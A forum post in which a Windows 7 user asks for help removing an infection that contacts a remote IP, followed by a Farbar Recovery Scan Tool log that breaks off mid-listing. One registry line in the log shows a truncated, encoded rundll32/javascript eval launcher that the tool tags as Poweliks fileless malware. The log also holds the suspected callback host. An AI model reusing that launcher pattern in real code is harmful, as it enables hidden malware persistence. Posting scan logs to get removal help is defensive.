caracaldad Posted December 29, 2014 ID:923872 Share Posted December 29, 2014 I'm running a Win7 32-bit with latest OS updates, and am infected with the sysWOW64\dllhost.exe attack. I receive pop-ups with my system attempting to access IP 195.2.241.167, port 61500, usually it doesn't list a domain, but when it does it indicates e9967a.com. I have run Malwarebytes numerous times, including the Rootkit option - each time it does not find any issues. I also got the same results with Windows Security scans. Thanks in advance for any assistance! Here is the FRST.txt file: Scan result of Farbar Recovery Scan Tool (FRST.txt) (x64) Version: 28-12-2014Ran by Hagar (administrator) on HAGAR-PC on 29-12-2014 09:48:49Running from C:\CopyLoaded Profile: Hagar (Available profiles: Hagar & Andy)Platform: Windows 7 Professional Service Pack 1 (X64) OS Language: English (United States)Internet Explorer Version 11 (Default browser: Chrome)Boot Mode: NormalTutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/==================== Processes (Whitelisted) =================(If an entry is included in the fixlist, the process will be closed. The file will not be moved.)(Microsoft Corporation) C:\Program Files\Microsoft Security Client\MsMpEng.exe(AMD) C:\Windows\System32\atiesrxx.exe(AMD) C:\Windows\System32\atieclxx.exe(Affinegy, Inc.) C:\Program Files (x86)\Belkin\Router Setup and Monitor\BelkinService.exe(Microsoft Corporation) C:\Program Files\Microsoft Mouse and Keyboard Center\ipoint.exe(Microsoft Corporation) C:\Program Files\Microsoft Mouse and Keyboard Center\itype.exe(Advanced Micro Devices, Inc.) C:\Program Files\ATI Technologies\ATI.ACE\Fuel\Fuel.Service.exe(Apple Inc.) C:\Program Files (x86)\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe(Apple Inc.) C:\Program Files\Bonjour\mDNSResponder.exe(Broadcom Corporation.) C:\Program Files\WIDCOMM\Bluetooth Software\btwdins.exe(HP) C:\Program Files (x86)\HP\HPLaserJetService\HPLaserJetService.exe(HP) C:\Windows\System32\HPSIsvc.exe(Malwarebytes Corporation) C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamscheduler.exe(Malwarebytes Corporation) C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamservice.exe(Microsoft Corp.) C:\Program Files\Common Files\Microsoft Shared\Microsoft Online Services\MSOIDSVC.EXE(Malwarebytes Corporation) C:\Program Files (x86)\Malwarebytes Anti-Malware\mbam.exe() C:\Windows\SysWOW64\PnkBstrA.exe(Microsoft Corp.) C:\Program Files\Common Files\Microsoft Shared\Microsoft Online Services\MSOIDSVCM.EXE() C:\Program Files (x86)\RealNetworks\RealDownloader\rndlresolversvc.exe(Microsoft Corporation) C:\Program Files (x86)\Microsoft\Search Enhancement Pack\SeaPort\SeaPort.exe(Microsoft Corp.) C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSVC.EXE(Microsoft Corp.) C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSVCM.EXE(Realtek Semiconductor) C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe(Microsoft Corporation) C:\Program Files\Microsoft Security Client\msseces.exe(johnsadventures.com) C:\Program Files (x86)\johnsadventures.com\John's Background Switcher\BackgroundSwitcher.exe(Microsoft Corporation) C:\Users\Hagar\AppData\Local\Microsoft\SkyDrive\SkyDrive.exe(Dropbox, Inc.) C:\Users\Hagar\AppData\Roaming\Dropbox\bin\Dropbox.exe(NEC Electronics Corporation) C:\Program Files (x86)\NEC Electronics\USB 3.0 Host Controller Driver\Application\nusb3mon.exe(Affinegy, Inc.) C:\Program Files (x86)\Belkin\Router Setup and Monitor\BelkinRouterMonitor.exe(Hewlett-Packard Company) C:\Program Files (x86)\HP\HP UT LEDM\bin\hppusg.exe(RealNetworks, Inc.) C:\Program Files (x86)\Real\RealPlayer\Update\realsched.exe() C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe(Oracle Corporation) C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe(Apple Inc.) C:\Program Files (x86)\iTunes\iTunesHelper.exe(Advanced Micro Devices Inc.) C:\Program Files (x86)\ATI Technologies\ATI.ACE\Core-Static\MOM.exe(Microsoft Corporation) C:\Program Files\Microsoft Security Client\NisSrv.exe(Apple Inc.) C:\Program Files\iPod\bin\iPodService.exe(Affinegy, Inc.) C:\Program Files (x86)\Belkin\Router Setup and Monitor\BelkinSetup.exe(ATI Technologies Inc.) C:\Program Files (x86)\ATI Technologies\ATI.ACE\Core-Static\CCC.exe(Adobe Systems Incorporated) C:\Program Files (x86)\Adobe\Elements 10 Organizer\PhotoshopElementsFileAgent.exe(Microsoft Corporation) C:\Program Files\Internet Explorer\iexplore.exe(RealNetworks, Inc.) C:\Program Files (x86)\RealNetworks\RealDownloader\recordingmanager.exe(IBM) C:\Program Files (x86)\IBM\Lotus\Symphony\framework\shared\eclipse\plugins\com.ibm.symphony.brand.win32_3.0.0.20101015-2340\program\soffice.bin(Microsoft Corporation) C:\Windows\splwow64.exe(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe(Microsoft Corporation) C:\Windows\SysWOW64\rundll32.exe(Microsoft Corporation) C:\Windows\SysWOW64\rundll32.exe(Microsoft Corporation) C:\Windows\SysWOW64\NAPSTAT.EXE(Microsoft Corporation) C:\Windows\System32\wbem\WMIADAP.exe(Microsoft Corporation) C:\Windows\SysWOW64\systray.exe(Microsoft Corporation) C:\Windows\SysWOW64\msfeedssync.exe(Microsoft Corporation) C:\Windows\SysWOW64\NAPSTAT.EXE(Microsoft Corporation) C:\Windows\SysWOW64\dplaysvr.exe(Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe(Microsoft Corporation) C:\Windows\SysWOW64\systray.exe(Microsoft Corporation) C:\Windows\SysWOW64\cmmon32.exe(Microsoft Corporation) C:\Windows\SysWOW64\systray.exe(Microsoft Corporation) C:\Windows\SysWOW64\NAPSTAT.EXE(Microsoft Corporation) C:\Windows\SysWOW64\dpnsvr.exe(Microsoft Corporation) C:\Windows\SysWOW64\svchost.exe(Microsoft Corporation) C:\Windows\System32\dllhost.exe(Microsoft Corporation) C:\Windows\SysWOW64\regsvr32.exe(Microsoft Corporation) C:\Windows\SysWOW64\regsvr32.exe(Microsoft Corporation) C:\Windows\SysWOW64\dpnsvr.exe(Microsoft Corporation) C:\Windows\SysWOW64\logagent.exe(Microsoft Corporation) C:\Windows\SysWOW64\svchost.exe(Microsoft Corporation) C:\Windows\SysWOW64\svchost.exe(Microsoft Corporation) C:\Windows\SysWOW64\NAPSTAT.EXE==================== Registry (Whitelisted) ==================(If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)HKLM\...\Run: [RtHDVCpl] => C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe [9642528 2009-12-08] (Realtek Semiconductor)HKLM\...\Run: [AdobeAAMUpdater-1.0] => C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\UWA\UpdaterStartupUtility.exe [444904 2012-09-20] (Adobe Systems Incorporated)HKLM\...\Run: [MSC] => c:\Program Files\Microsoft Security Client\msseces.exe [1331288 2014-08-22] (Microsoft Corporation)HKLM-x32\...\Run: [NUSB3MON] => C:\Program Files (x86)\NEC Electronics\USB 3.0 Host Controller Driver\Application\nusb3mon.exe [106496 2009-11-20] (NEC Electronics Corporation)HKLM-x32\...\Run: [ATICustomerCare] => C:\Program Files (x86)\ATI\ATICustomerCare\ATICustomerCare.exe [311296 2010-03-04] (Advanced Micro Devices, Inc.)HKLM-x32\...\Run: [instaLAN] => C:\Program Files (x86)\Belkin\Router Setup and Monitor\BelkinRouterMonitor.exe [1485208 2010-07-28] (Affinegy, Inc.)HKLM-x32\...\Run: [AppleSyncNotifier] => C:\Program Files (x86)\Common Files\Apple\Mobile Device Support\AppleSyncNotifier.exeHKLM-x32\...\Run: [APSDaemon] => C:\Program Files (x86)\Common Files\Apple\Apple Application Support\APSDaemon.exe [60712 2014-10-11] (Apple Inc.)HKLM-x32\...\Run: [ROC_roc_dec12] => "C:\Program Files (x86)\AVG Secure Search\ROC_roc_dec12.exe" /PROMPT /CMPID=roc_dec12HKLM-x32\...\Run: [HPUsageTrackingLEDM] => C:\Program Files (x86)\HP\HP UT LEDM\bin\hppusg.exe [30264 2009-08-04] (Hewlett-Packard Company)HKLM-x32\...\Run: [Communicator] => C:\Program Files (x86)\Microsoft Lync\communicator.exe [12117312 2014-05-01] (Microsoft Corporation)HKLM-x32\...\Run: [DivXMediaServer] => C:\Program Files (x86)\DivX\DivX Media Server\DivXMediaServer.exe [450560 2013-08-21] (DivX, LLC)HKLM-x32\...\Run: [TkBellExe] => c:\program files (x86)\real\realplayer\Update\realsched.exe [295512 2013-09-04] (RealNetworks, Inc.)HKLM-x32\...\Run: [DivXUpdate] => C:\Program Files (x86)\DivX\DivX Update\DivXUpdate.exe [1861968 2013-08-28] ()HKLM-x32\...\Run: [startCCC] => C:\Program Files (x86)\ATI Technologies\ATI.ACE\Core-Static\amd64\CLIStart.exe [766208 2013-08-30] (Advanced Micro Devices, Inc.)HKLM-x32\...\Run: [Adobe ARM] => C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARM.exe [1021128 2014-11-20] (Adobe Systems Incorporated)HKLM-x32\...\Run: [sunJavaUpdateSched] => C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe [271744 2014-09-26] (Oracle Corporation)HKLM-x32\...\Run: [iTunesHelper] => C:\Program Files (x86)\iTunes\iTunesHelper.exe [157480 2014-10-15] (Apple Inc.)HKLM-x32\...\Run: [QuickTime Task] => C:\Program Files (x86)\QuickTime\QTTask.exe [421888 2014-10-02] (Apple Inc.)HKLM-x32\...\RunOnce: [AvgUninstallURL] => cmd.exe /c start http://www.avg.com/ww.special-uninstallation-feedback-app?lic=OQBJAC0ATgAzAEcANABDAC0ANwA3AFkATQBNAC0AMgBUAFYASABBAC0AWABEADgANgBTAC0ATAA0AFYANABZAA"&"inst=NwA2AC0ANQAwADkANwA3ADIAOAAzADAALQBYAE8AMwA2ACsAMQAtAFQAQgA5ACsAMgAtAE4AMQBEACsAMQAtAFAATAArADkALQBDAEkAQQA5ADAAKwAyAC0ARABEAFQAKwAyADYANQA2ADMALQBEAEQAOQAwACsAMQAtAFMAVAA5ADAAQQBQAFAAKwAxAC0AUAA5ADAATQAxADIAQwArADEALQBVADkANQArADEALQBUAEIAKwAxAC0AUAA5ADAAVQArADEALQBQADkAMABVADEAKwAxAC0AUAA5ADAAVABCACsAMgA"&"prod=94"&"ver=9.0.894HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\Run: [Google Update] => C:\Users\Hagar\AppData\Local\Google\Update\GoogleUpdate.exe [107912 2014-10-22] (Google Inc.)HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\Run: [backgroundSwitcher] => C:\Program Files (x86)\johnsadventures.com\John's Background Switcher\BackgroundSwitcher.exe [119104 2011-06-02] (johnsadventures.com)HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\Run: [OfficeSyncProcess] => "C:\Program Files (x86)\Common Files\Microsoft Shared\Virtualization Handler\CVH.EXE" /quietlaunch "MSOSYNC 9014006604090000"HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\Run: [skyDrive] => C:\Users\Hagar\AppData\Local\Microsoft\SkyDrive\SkyDrive.exe [277672 2014-11-15] (Microsoft Corporation)HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\MountPoints2: {4c96ad0d-cb85-11e2-80f0-1c6f6527da81} - E:\StartClickFreeBackup.exeHKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...\MountPoints2: {65db583b-d7dc-11e1-ad8a-1c6f6527da81} - E:\LaunchU3.exe -aHKU\S-1-5-21-3876090227-2952970025-1856670965-1001\...A8F59079A8D5}\localserver32: rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("epdvnfou/xsjuf)(=tdsjqu!mbohvbhf> (the data entry has 243 more characters). <==== Poweliks!Startup: C:\Users\Hagar\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Dropbox.lnkShortcutTarget: Dropbox.lnk -> C:\Users\Hagar\AppData\Roaming\Dropbox\bin\Dropbox.exe (Dropbox, Inc.)==================== Internet (Whitelisted) ====================(If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)HKU\S-1-5-21-3876090227-2952970025-1856670965-1001\Software\Microsoft\Internet Explorer\Main,Start Page = about:blankHKU\S-1-5-21-3876090227-2952970025-1856670965-1001\Software\Microsoft\Internet Explorer\Main,Default_Page_URL = http://www.msn.comSearchScopes: HKLM -> DefaultScope {050F6D2A-CD2C-4CCF-A95E-9A59CEE646C0} URL = http://www.bing.com/search?q={searchTerms}&form=MNMTDF&pc=MANM&src=IE-SearchBoxSearchScopes: HKLM -> {050F6D2A-CD2C-4CCF-A95E-9A59CEE646C0} URL = http://www.bing.com/search?q={searchTerms}&form=MNMTDF&pc=MANM&src=IE-SearchBoxSearchScopes: HKLM -> {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =SearchScopes: HKLM-x32 -> DefaultScope {52A54A6E-3E27-4A22-A928-6755ADA9CFFC} URL = http://www.bing.com/search?q={searchTerms}&form=MNMTDF&pc=MANM&src=IE-SearchBoxSearchScopes: HKLM-x32 -> {0633EE93-D776-472f-A0FF-E1416B8B2E3A} URL =SearchScopes: HKLM-x32 -> {52A54A6E-3E27-4A22-A928-6755ADA9CFFC} URL = http://www.bing.com/search?q={searchTerms}&form=MNMTDF&pc=MANM&src=IE-SearchBoxSearchScopes: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001 -> DefaultScope {8D85CC59-8DFC-49C1-AC41-1B9714CF5D69} URL = http://www.google.com/search?q={searchTerms}&rls=com.microsoft:{language}&ie={inputEncoding}&oe={outputEncoding}&startIndex={startIndex?}&startPage={startPage}SearchScopes: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001 -> {27E4E3C4-0CDE-4565-9E53-114153EFD308} URL = http://search.yahoo.com/search?fr=chr-greentree_ie&ei=utf-8&ilc=12&type=937811&p={searchTerms}SearchScopes: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001 -> {52A54A6E-3E27-4A22-A928-6755ADA9CFFC} URL =SearchScopes: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001 -> {8D85CC59-8DFC-49C1-AC41-1B9714CF5D69} URL = http://www.google.com/search?q={searchTerms}&rls=com.microsoft:{language}&ie={inputEncoding}&oe={outputEncoding}&startIndex={startIndex?}&startPage={startPage}BHO: Windows Live ID Sign-in Helper -> {9030D464-4C02-4ABF-8ECC-5164760863C6} -> C:\Program Files\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll (Microsoft Corp.)BHO-x32: RealNetworks Download and Record Plugin for Internet Explorer -> {3049C3E9-B461-4BC5-8870-4C09146192CA} -> C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\IE\rndlbrowserrecordplugin.dll (RealDownloader)BHO-x32: Lync Browser Helper -> {31D09BA0-12F5-4CCE-BE8A-2923E76605DA} -> C:\Program Files (x86)\Microsoft Lync\OCHelper.dll (Microsoft Corporation)BHO-x32: Search Helper -> {6EBF7485-159F-4bff-A14F-B9E3AAC4465B} -> C:\Program Files (x86)\Microsoft\Search Enhancement Pack\Search Helper\SEPsearchhelperie.dll (Microsoft Corporation)BHO-x32: Java Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files (x86)\Java\jre7\bin\ssv.dll (Oracle Corporation)BHO-x32: Windows Live ID Sign-in Helper -> {9030D464-4C02-4ABF-8ECC-5164760863C6} -> C:\Program Files (x86)\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll (Microsoft Corp.)BHO-x32: Java Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files (x86)\Java\jre7\bin\jp2ssv.dll (Oracle Corporation)Toolbar: HKLM-x32 - No Name - {CCC7A320-B3CA-4199-B1A6-9F516DD69829} - No FileToolbar: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001 -> No Name - {21FA44EF-376D-4D53-9B0F-8A89D3229068} - No FileToolbar: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001 -> No Name - {CCC7A320-B3CA-4199-B1A6-9F516DD69829} - No FileToolbar: HKU\S-1-5-21-3876090227-2952970025-1856670965-1001 -> No Name - {E7DF6BFF-55A5-4EB7-A673-4ED3E9456D39} - No FileDPF: HKLM-x32 {D27CDB6E-AE6D-11CF-96B8-444553540000} http://fpdownload2.macromedia.com/get/shockwave/cabs/flash/swflash.cabDPF: HKLM-x32 {E06E2E99-0AA1-11D4-ABA6-0060082AA75C} https://akamaicdn.webex.com/client/WBXclient-T28L10NSP12_CP1-16851/webex/ieatgpc1.cabDPF: HKLM-x32 {E2883E8F-472F-4FB0-9522-AC9BF37916A7} http://platformdl.adobe.com/NOS/getPlusPlus/1.6/gp.cabTcpip\Parameters: [DhcpNameServer] 192.168.10.1FireFox:========FF ProfilePath: C:\Users\Hagar\AppData\Roaming\Mozilla\Firefox\Profiles\s1ilaic7.defaultFF DefaultSearchEngine: YahooFF SelectedSearchEngine: YahooFF Homepage: https://duckduckgo.com/FF Keyword.URL: hxxp://search.yahoo.com/search?fr=greentree_ff1&ei=utf-8&ilc=12&type=937811&p=FF NetworkProxy: "no_proxies_on", "*.local"FF NetworkProxy: "type", 0FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF64_11_9_900_170.dll ()FF Plugin: @divx.com/DivX VOD Helper,version=1.0.0 -> C:\Program Files\DivX\DivX OVS Helper\npovshelper.dll (DivX, LLC.)FF Plugin: @microsoft.com/GENUINE -> disabled No FileFF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files\Microsoft Silverlight\5.1.30514.0\npctrl.dll ( Microsoft Corporation)FF Plugin: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Common Files\Adobe\OOBE\PDAPP\CCM\Utilities\npAdobeAAMDetect64.dll No FileFF Plugin-x32: @adobe.com/FlashPlayer -> C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_11_9_900_170.dll ()FF Plugin-x32: @Apple.com/iTunes,version=1.0 -> C:\Program Files (x86)\iTunes\Mozilla Plugins\npitunes.dll ()FF Plugin-x32: @divx.com/DivX VOD Helper,version=1.0.0 -> C:\Program Files (x86)\DivX\DivX OVS Helper\npovshelper.dll (DivX, LLC.)FF Plugin-x32: @divx.com/DivX Web Player Plug-In,version=1.0.0 -> C:\Program Files (x86)\DivX\DivX Web Player\npdivx32.dll (DivX, LLC)FF Plugin-x32: @Google.com/GoogleEarthPlugin -> C:\Program Files (x86)\Google\Google Earth\plugin\npgeplugin.dll (Google)FF Plugin-x32: @java.com/DTPlugin,version=10.71.2 -> C:\Program Files (x86)\Java\jre7\bin\dtplugin\npDeployJava1.dll (Oracle Corporation)FF Plugin-x32: @java.com/JavaPlugin,version=10.71.2 -> C:\Program Files (x86)\Java\jre7\bin\plugin2\npjp2.dll (Oracle Corporation)FF Plugin-x32: @microsoft.com/GENUINE -> disabled No FileFF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files (x86)\Microsoft Silverlight\5.1.30514.0\npctrl.dll ( Microsoft Corporation)FF Plugin-x32: @microsoft.com/WLPG,version=15.4.3502.0922 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll (Microsoft Corporation)FF Plugin-x32: @microsoft.com/WLPG,version=15.4.3508.1109 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll (Microsoft Corporation)FF Plugin-x32: @microsoft.com/WLPG,version=15.4.3555.0308 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll (Microsoft Corporation)FF Plugin-x32: @real.com/nppl3260;version=16.0.3.51 -> c:\program files (x86)\real\realplayer\Netscape6\nppl3260.dll (RealNetworks, Inc.)FF Plugin-x32: @real.com/nprndlchromebrowserrecordext;version=1.3.3 -> C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlchromebrowserrecordext.dll (RealNetworks, Inc.)FF Plugin-x32: @real.com/nprndlhtml5videoshim;version=1.3.3 -> C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlhtml5videoshim.dll (RealNetworks, Inc.)FF Plugin-x32: @real.com/nprndlpepperflashvideoshim;version=1.3.3 -> C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\MozillaPlugins\nprndlpepperflashvideoshim.dll (RealNetworks, Inc.)FF Plugin-x32: @real.com/nprpplugin;version=16.0.3.51 -> c:\program files (x86)\real\realplayer\Netscape6\nprpplugin.dll (RealPlayer)FF Plugin-x32: @realnetworks.com/npdlplugin;version=1 -> C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\npdlplugin.dll (RealDownloader)FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.25.11\npGoogleUpdate3.dll (Google Inc.)FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.25.11\npGoogleUpdate3.dll (Google Inc.)FF Plugin-x32: Adobe Reader -> C:\Program Files (x86)\Adobe\Reader 11.0\Reader\AIR\nppdf32.dll (Adobe Systems Inc.)FF Plugin HKU\S-1-5-21-3876090227-2952970025-1856670965-1001: @citrixonline.com/appdetectorplugin -> C:\Users\Hagar\AppData\Local\Citrix\Plugins\104\npappdetector.dll (Citrix Online)FF Plugin HKU\S-1-5-21-3876090227-2952970025-1856670965-1001: @tools.google.com/Google Update;version=3 -> C:\Users\Hagar\AppData\Local\Google\Update\1.3.25.11\npGoogleUpdate3.dll (Google Inc.)FF Plugin HKU\S-1-5-21-3876090227-2952970025-1856670965-1001: @tools.google.com/Google Update;version=9 -> C:\Users\Hagar\AppData\Local\Google\Update\1.3.25.11\npGoogleUpdate3.dll (Google Inc.)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\np-mswmp.dll (Microsoft Corporation)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\npMeetingJoinPluginOC.dll ()FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\nppdf32.dll (Adobe Systems Inc.)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\nppl3260.dll (RealNetworks, Inc.)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\npqtplugin.dll (Apple Inc.)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\npqtplugin2.dll (Apple Inc.)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\npqtplugin3.dll (Apple Inc.)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\npqtplugin4.dll (Apple Inc.)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\npqtplugin5.dll (Apple Inc.)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\nprpplugin.dll (RealPlayer)FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\plugins\npwachk.dll (Nullsoft, Inc.)FF Extension: Java Console - C:\Program Files (x86)\Mozilla Firefox\extensions\{CAFEEFAC-0016-0000-0033-ABCDEFFEDCBA} [2014-02-11]FF Extension: Java Console - C:\Program Files (x86)\Mozilla Firefox\extensions\{CAFEEFAC-0016-0000-0035-ABCDEFFEDCBA} [2014-02-11]FF Extension: Java Console - C:\Program Files (x86)\Mozilla Firefox\extensions\{CAFEEFAC-0016-0000-0037-ABCDEFFEDCBA} [2014-02-11]FF HKLM-x32\...\Firefox\Extensions: [{ABDE892B-13A8-4d1b-88E6-365A6E755758}] - C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\Firefox\ExtFF Extension: RealDownloader - C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\Firefox\Ext [2013-09-04]FF HKLM-x32\...\Firefox\Extensions: [{DF153AFF-6948-45d7-AC98-4FC4AF8A08E2}] - C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\Firefox\ExtChrome:=======CHR HomePage: Default -> hxxp://www.google.com/CHR StartupUrls: Default -> "about:blank"CHR DefaultSearchKeyword: Default -> duckduckgo.comCHR DefaultSearchURL: Default -> https://duckduckgo.com/?q={searchTerms}CHR DefaultSuggestURL: Default -> https://ac.duckduckgo.com/ac/?q={searchTerms}&type=listCHR Profile: C:\Users\Hagar\AppData\Local\Google\Chrome\User Data\DefaultCHR Extension: (Google Voice Search Hotword (Beta)) - C:\Users\Hagar\AppData\Local\Google\Chrome\User Data\Default\Extensions\bepbmhgboaologfdajaanbcjmnhjmhfn [2014-05-21]CHR Extension: (RealDownloader) - C:\Users\Hagar\AppData\Local\Google\Chrome\User Data\Default\Extensions\idhngdhcfkoamngbedgpaokgjbnpdiji [2013-01-12]CHR Extension: (Google Wallet) - C:\Users\Hagar\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2013-08-28]CHR HKLM-x32\...\Chrome\Extension: [idhngdhcfkoamngbedgpaokgjbnpdiji] - C:\ProgramData\RealNetworks\RealDownloader\BrowserPlugins\Chrome\Ext\realdownloader.crx [2013-08-14]CHR StartMenuInternet: Google Chrome - C:\Users\Hagar\AppData\Local\Google\Chrome\Application\chrome.exe==================== Services (Whitelisted) =================(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)R2 AdobeActiveFileMonitor10.0; C:\Program Files (x86)\Adobe\Elements 10 Organizer\PhotoshopElementsFileAgent.exe [169624 2011-09-01] (Adobe Systems Incorporated)R2 AffinegyService; C:\Program Files (x86)\Belkin\Router Setup and Monitor\BelkinService.exe [569752 2010-07-28] (Affinegy, Inc.)R2 AMD FUEL Service; C:\Program Files\ATI Technologies\ATI.ACE\Fuel\Fuel.Service.exe [344064 2013-08-30] (Advanced Micro Devices, Inc.) [File not signed]R2 HP LaserJet Service; C:\Program Files (x86)\HP\HPLaserJetService\HPLaserJetService.exe [136704 2009-06-24] (HP) [File not signed]R2 MBAMScheduler; C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamscheduler.exe [1871160 2014-11-21] (Malwarebytes Corporation)R2 MBAMService; C:\Program Files (x86)\Malwarebytes Anti-Malware\mbamservice.exe [969016 2014-11-21] (Malwarebytes Corporation)R2 MsMpSvc; c:\Program Files\Microsoft Security Client\MsMpEng.exe [23784 2014-08-22] (Microsoft Corporation)R2 msoidsvc; C:\Program Files\Common Files\Microsoft Shared\Microsoft Online Services\MSOIDSVC.EXE [2078112 2011-09-28] (Microsoft Corp.)R3 NisSrv; c:\Program Files\Microsoft Security Client\NisSrv.exe [368624 2014-08-22] (Microsoft Corporation)R2 PnkBstrA; C:\Windows\SysWOW64\PnkBstrA.exe [75064 2013-09-24] ()R2 RealNetworks Downloader Resolver Service; C:\Program Files (x86)\RealNetworks\RealDownloader\rndlresolversvc.exe [39056 2013-08-14] ()==================== Drivers (Whitelisted) ====================(If an entry is included in the fixlist, the service will be removed from the registry. The file will not be moved unless listed separately.)S3 ASPI; C:\Windows\SysWOW64\DRIVERS\ASPI32.sys [84832 2002-07-17] (Adaptec) [File not signed]S3 libusb0; C:\Windows\SysWOW64\drivers\libusb0.sys [21504 2010-06-24] (http://libusb-win32.sourceforge.net)R2 mbamchameleon; C:\Windows\system32\drivers\mbamchameleon.sys [93400 2014-11-21] (Malwarebytes Corporation)R3 MBAMProtector; C:\Windows\system32\drivers\mbam.sys [25816 2014-11-21] (Malwarebytes Corporation)R3 MBAMSwissArmy; C:\Windows\system32\drivers\MBAMSwissArmy.sys [129752 2014-12-29] (Malwarebytes Corporation)R3 MBAMWebAccessControl; C:\Windows\system32\drivers\mwac.sys [63704 2014-11-21] (Malwarebytes Corporation)R0 MpFilter; C:\Windows\System32\DRIVERS\MpFilter.sys [269008 2014-07-17] (Microsoft Corporation)R3 mvusbews; C:\Windows\System32\Drivers\mvusbews.sys [20480 2012-12-24] (Marvell Semiconductor, Inc.)R2 NisDrv; C:\Windows\System32\DRIVERS\NisDrvWFP.sys [125584 2014-07-17] (Microsoft Corporation)U5 VWiFiFlt; C:\Windows\System32\Drivers\VWiFiFlt.sys [59904 2009-07-13] (Microsoft Corporation)S3 gdrv; \??\C:\Windows\gdrv.sys [X]==================== NetSvcs (Whitelisted) ===================(If an item is included in the fixlist, it will be removed from the registry. Any associated file could be listed separately to be moved.)==================== One Month Created Files and Folders ========(If an entry is included in the fixlist, the file\folder will be moved.)2014-12-29 09:48 - 2014-12-29 09:48 - 00000000 ____D () C:\FRST2014-12-27 15:10 - 2014-12-27 15:10 - 00000000 ___HD () C:\OneDriveTemp2014-12-18 12:30 - 2014-12-13 00:09 - 00144384 _____ (Microsoft Corporation) C:\Windows\system32\ieUnatt.exe2014-12-18 12:30 - 2014-12-12 22:33 - 00115712 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieUnatt.exe2014-12-13 15:52 - 2014-12-27 22:51 - 00003340 _____ () C:\Windows\System32\Tasks\RealPlayerRealUpgradeScheduledTaskS-1-5-21-3876090227-2952970025-1856670965-10012014-12-13 15:52 - 2014-12-27 22:51 - 00003206 _____ () C:\Windows\System32\Tasks\RealPlayerRealUpgradeLogonTaskS-1-5-21-3876090227-2952970025-1856670965-10012014-12-12 06:30 - 2014-12-12 06:30 - 00129752 _____ (Malwarebytes Corporation) C:\Windows\system32\Drivers\688B5820.sys2014-12-11 06:12 - 2014-12-11 14:42 - 